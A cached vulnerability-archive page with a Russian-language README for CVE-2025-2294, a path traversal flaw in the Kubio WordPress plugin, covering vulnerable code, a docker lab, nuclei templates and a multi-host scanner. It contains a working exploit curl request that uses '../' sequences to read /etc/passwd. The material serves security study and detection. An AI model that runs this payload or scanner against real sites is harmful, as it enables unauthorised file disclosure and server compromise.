Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-2294 PoC — WordPress plugin Kubio AI Page Builder 路径遍历漏洞

Source
Associated Vulnerability
Title:WordPress plugin Kubio AI Page Builder 路径遍历漏洞 (CVE-2025-2294)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Kubio AI Page Builder 2.5.1及之前版本存在路径遍历漏洞,该漏洞源于kubio_hybrid_theme_load_template函数存在本地文件包含,可能导致未认证攻击者包含和执行任意文件。
Readme
# CVE-2025-2294

## Введение
**CVE-2025-2294** — критическая уязвимость типа **Local File Inclusion (LFI)** в плагине **Kubio AI Page Builder** для WordPress. Уязвимость позволяет **неаутентифицированному** удалённому злоумышленнику передать специально сформированный параметр, из-за чего плагин может включить произвольный файл на сервере; при наличии включаемого PHP-файла это может привести к удалённому выполнению кода (RCE).

- **Поражаемые версии:** все версии плагина **≤ 2.5.1**.  
- **CVSS v3.1:** **9.8 (Critical)**.

---

## Цель отчёта
1. Систематизировать доступные материалы и объяснить суть уязвимости.  
2. Рассмотреть условия и конфигурации, при которых уязвимость актуальна.  
3. Показать способы обнаружения и рекомендации по защите (без пошаговых PoC).  
4. Дать рекомендации по устранению и смягчению последствий.

---

## CPE / идентификация
- **Plugin slug:** `kubio`  
- **Путь:** `/wp-content/plugins/kubio/`  
- **Vendor:** ExtendThemes / Kubio  
- **CPE (пример):** `cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*`

**CWE:** CWE-22 — *Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)*.

---

## Условия эксплуатации
- Плагин Kubio установлен и активирован на сайте.  
- Версия **≤ 2.5.1** (непатченная).  
- Доступен публичный HTTP(S) endpoint, принимающий параметр `__kubio-site-edit-iframe-classic-template`.  
- (Для получения RCE) В системе должен существовать включаемый PHP-файл или иной путь к исполняемому коду (например, через уязвимости в других компонентах или неправильные права).

---

## Импакт
- Чтение файлов с секретами (например, `wp-config.php`, приватные ключи, логи).  
- Возможна загрузка/выполнение произвольного кода, изменение контента или внедрение бекдоров.  
- Компромисс сервера, возможные нарушения работы сайта, удаление/шифрование данных.  
- Масштаб риска увеличивается из-за широкого распространения плагина и появления публичных PoC/сканеров.

---

## Технические детали
Уязвимый код связан с функцией `kubio_hybrid_theme_load_template()`, которая обращается к глобальному массиву `$_REQUEST`:

```php
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
    $new_template = locate_template([$template_id]);
    if ($new_template !== '') {
        return $new_template;
    }
}
```

- **Что делает код:**
1. `Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false)` — берёт значение прямо из глобального набора входных данных ($_REQUEST объединяет $_GET, $_POST, $_COOKIE). `Это означает, что параметр управляем удалённо.

2. Если параметр присутствует (`$template_id` истинно), код вызывает `locate_template([$template_id])`.

3. `locate_template()` — WordPress-утилита (или аналог в плагине) для поиска шаблонов по переданному относительному пути/имени. В нормальном сценарии ожидалось, что туда будут передаваться имена файлов внутри безопасного каталога шаблонов, например `header.php` или `template-parts/content.php`.

4. Возвращаемое значение ($new_template) затем используется — в исходной реализации это может привести к include/require найденного пути, либо к передаче этого пути дальше для вывода.Это создаёт возможность LFI: злоумышленник может указать путь к произвольному файлу.


## Локальный запуск

```bash
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
```
- Заходим в докер:

```bash
docker exec -it <WORDPRESS_DOCKER_ID> bash
```

- Скачиваем и запускаем kubio

> *Для запуска после распаковки перейдите в http://localhost:8080/wp-admin/plugins.php и активируйте плагин*

```bash
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio
```

---

## POC/Exploit

```bash
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'
```


![lfi](/img/lfi.png)


**`__kubio-site-edit-iframe-classic-template=<path>`**

Этот параметр передаёт строку, которую плагин использует как идентификатор/путь шаблона.

В уязвимом фрагменте кода значение берётся из `$_REQUEST` и передаётся в `locate_template()` без предварительной нормализации или ограничения. В результате возможен **path traversal**: если в значение вставить последовательности `../`, итоговый путь может выйти за пределы ожидаемой директории шаблонов и указывать на любой файл на файловой системе (в том числе `/etc/passwd`).

Именно этот параметр несёт полезную нагрузку атаки — с его помощью атакующий указывает целевой файл.


**`__kubio-site-edit-iframe-preview=1`**

Это служебный флаг (режим предпросмотра / iframe-edit mode). Он переключает обработку запроса в кодовую ветку, где считывается и используется шаблон, заданный в `__kubio-site-edit-iframe-classic-template`.

Без `preview=1` плагин мог бы не обрабатывать параметр `classic-template` или использовать другую логику; с `preview=1` включается логика, которая допускает чтение и возвращение шаблона, что делает возможным эксплуатацию.

---

## nuclei-template

### 1. **Пассивный шаблон**

- Проверяет **версию плагина** через файл `/wp-content/plugins/kubio/readme.txt`.

![passive](/img/passive.png)

### 2. Активный шаблон

- Проверяет вывод /etc/passwd
  
![active](/img/active.png)

---

## Скрипт

Скрипт проверяет вывод /etc/passwd но в разы быстрее чем nuclei благодаря многопоточности,а также поддерживает скан сразу нескольких хостов

```bash
python3 scan.py --target http://localhost:8080
```

![scan](/img/scan.png)

File Snapshot

[4.0K] /data/pocs/535d2182d4cb80d3b4cb7e7ce108c918163a030a ├── [ 833] docker-compose.yml ├── [4.0K] img │   ├── [109K] active.png │   ├── [ 92K] lfi.png │   ├── [106K] passive.png │   └── [ 33K] scan.png ├── [4.0K] nuclei-template │   ├── [ 629] active.yaml │   └── [ 799] passive.yaml ├── [8.1K] README.md └── [5.1K] scan.py 3 directories, 9 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.